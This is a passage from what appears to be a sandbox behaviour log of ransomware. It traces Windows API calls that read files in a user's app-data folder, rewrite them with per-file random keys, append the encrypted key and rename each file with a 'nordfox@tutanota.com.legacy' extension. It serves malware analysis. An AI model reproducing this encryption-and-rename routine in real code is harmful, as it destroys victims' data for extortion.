hHeap=0x520000, dwFlags=0x0, lpMem=0x6fe020 | out: hHeap=0x520000) returned 1 [0171.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3524020 | out: hHeap=0x520000) returned 1 [0171.165] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc18f4 [0171.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.165] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.165] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.165] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.166] CloseHandle (hObject=0x1830) returned 1 [0171.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.166] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0171.166] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\78b619a60badaf2af10f512120ec3f3bb4e0b4989a18d553b73681ba6ba7eeb0.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b55c8 | out: hHeap=0x520000) returned 1 [0171.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ab78 | out: hHeap=0x520000) returned 1 [0171.222] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ae48 | out: hHeap=0x520000) returned 1 [0171.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b550 [0171.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.222] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0171.222] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.222] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0171.222] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd", dwFileAttributes=0x80) returned 1 [0171.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a5d8 [0171.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4d28 [0171.223] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5d8 | out: hHeap=0x520000) returned 1 [0171.223] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.224] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=478589) returned 1 [0171.224] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x74d7d) returned 0x33b6018 [0171.225] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x74d7d) returned 0x342ada0 [0171.226] ReadFile (in: hFile=0x1830, lpBuffer=0x33b6018, nNumberOfBytesToRead=0x74d7d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x33b6018*, lpNumberOfBytesRead=0x2e1f9bc*=0x74d7d, lpOverlapped=0x0) returned 1 [0171.255] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-478589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.255] WriteFile (in: hFile=0x1830, lpBuffer=0x342ada0*, nNumberOfBytesToWrite=0x74d7d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x342ada0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x74d7d, lpOverlapped=0x0) returned 1 [0171.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b6018 | out: hHeap=0x520000) returned 1 [0171.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x342ada0 | out: hHeap=0x520000) returned 1 [0171.261] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x74d7d [0171.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.262] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.262] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.263] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.263] CloseHandle (hObject=0x1830) returned 1 [0171.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0171.263] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\72845c8a552f381a97fcebe9645fcf4d1f72c0471548e9a5f3e92f33ad7e95fd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4d28 | out: hHeap=0x520000) returned 1 [0171.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b550 | out: hHeap=0x520000) returned 1 [0171.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b280 | out: hHeap=0x520000) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b280 [0171.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0171.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0171.265] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0171.265] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0171.265] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970", dwFileAttributes=0x80) returned 1 [0171.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b550 [0171.265] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b57f0 [0171.265] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b550 | out: hHeap=0x520000) returned 1 [0171.265] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.266] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=868377) returned 1 [0171.266] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4019) returned 0x6f6020 [0171.268] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd4019) returned 0x352d020 [0171.270] ReadFile (in: hFile=0x1830, lpBuffer=0x6f6020, nNumberOfBytesToRead=0xd4019, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f6020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd4019, lpOverlapped=0x0) returned 1 [0171.303] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-868377, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.303] WriteFile (in: hFile=0x1830, lpBuffer=0x352d020*, nNumberOfBytesToWrite=0xd4019, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd4019, lpOverlapped=0x0) returned 1 [0171.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f6020 | out: hHeap=0x520000) returned 1 [0171.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352d020 | out: hHeap=0x520000) returned 1 [0171.312] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd4019 [0171.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.313] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.314] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.314] CloseHandle (hObject=0x1830) returned 1 [0171.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0171.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0171.314] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6c5760072940a9baf0e9357ce36e66217048736976e308b26188f97078f2c970.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0171.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b280 | out: hHeap=0x520000) returned 1 [0171.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a8a8 | out: hHeap=0x520000) returned 1 [0171.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b988 [0171.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0171.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0171.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0171.316] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0171.316] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2", dwFileAttributes=0x80) returned 1 [0171.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60b550 [0171.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0171.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b550 | out: hHeap=0x520000) returned 1 [0171.316] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.317] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16782) returned 1 [0171.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x418e) returned 0x30d1028 [0171.317] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x418e) returned 0x30d51c0 [0171.317] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x418e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x418e, lpOverlapped=0x0) returned 1 [0171.327] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.327] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51c0*, nNumberOfBytesToWrite=0x418e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418e, lpOverlapped=0x0) returned 1 [0171.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51c0 | out: hHeap=0x520000) returned 1 [0171.327] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418e [0171.328] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.328] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.328] WriteFile (in: hFile=0x1830, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.328] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.328] CloseHandle (hObject=0x1830) returned 1 [0171.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0171.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0171.328] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6977aaf6fe4cd06ceb8ec6f05541d8ce9fac05ec8c423a86fa8e7ef3119da7a2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0171.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b988 | out: hHeap=0x520000) returned 1 [0171.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b3e8 | out: hHeap=0x520000) returned 1 [0171.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a5d8 [0171.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0171.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0171.333] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0171.334] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0171.334] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141", dwFileAttributes=0x80) returned 1 [0171.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x60a308 [0171.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0171.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a308 | out: hHeap=0x520000) returned 1 [0171.334] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0171.334] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17212) returned 1 [0171.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x433c) returned 0x30d1028 [0171.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x433c) returned 0x30d5370 [0171.334] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x433c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x433c, lpOverlapped=0x0) returned 1 [0171.341] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.341] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5370*, nNumberOfBytesToWrite=0x433c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5370*, lpNumberOfBytesWritten=0x2e1f9bc*=0x433c, lpOverlapped=0x0) returned 1 [0171.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0171.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5370 | out: hHeap=0x520000) returned 1 [0171.342] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x433c [0171.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0171.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0171.342] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0171.342] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0171.342] CloseHandle (hObject=0x1830) returned 1 [0171.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0171.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0171.342] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\6654847dfd1a09f4cf22fd62c2c54ebaedfad04e1bf90bbeebfa0c183b20a141.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0171.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0171.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5d8 | out: hHeap=0x520000) returned 1 [0171.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 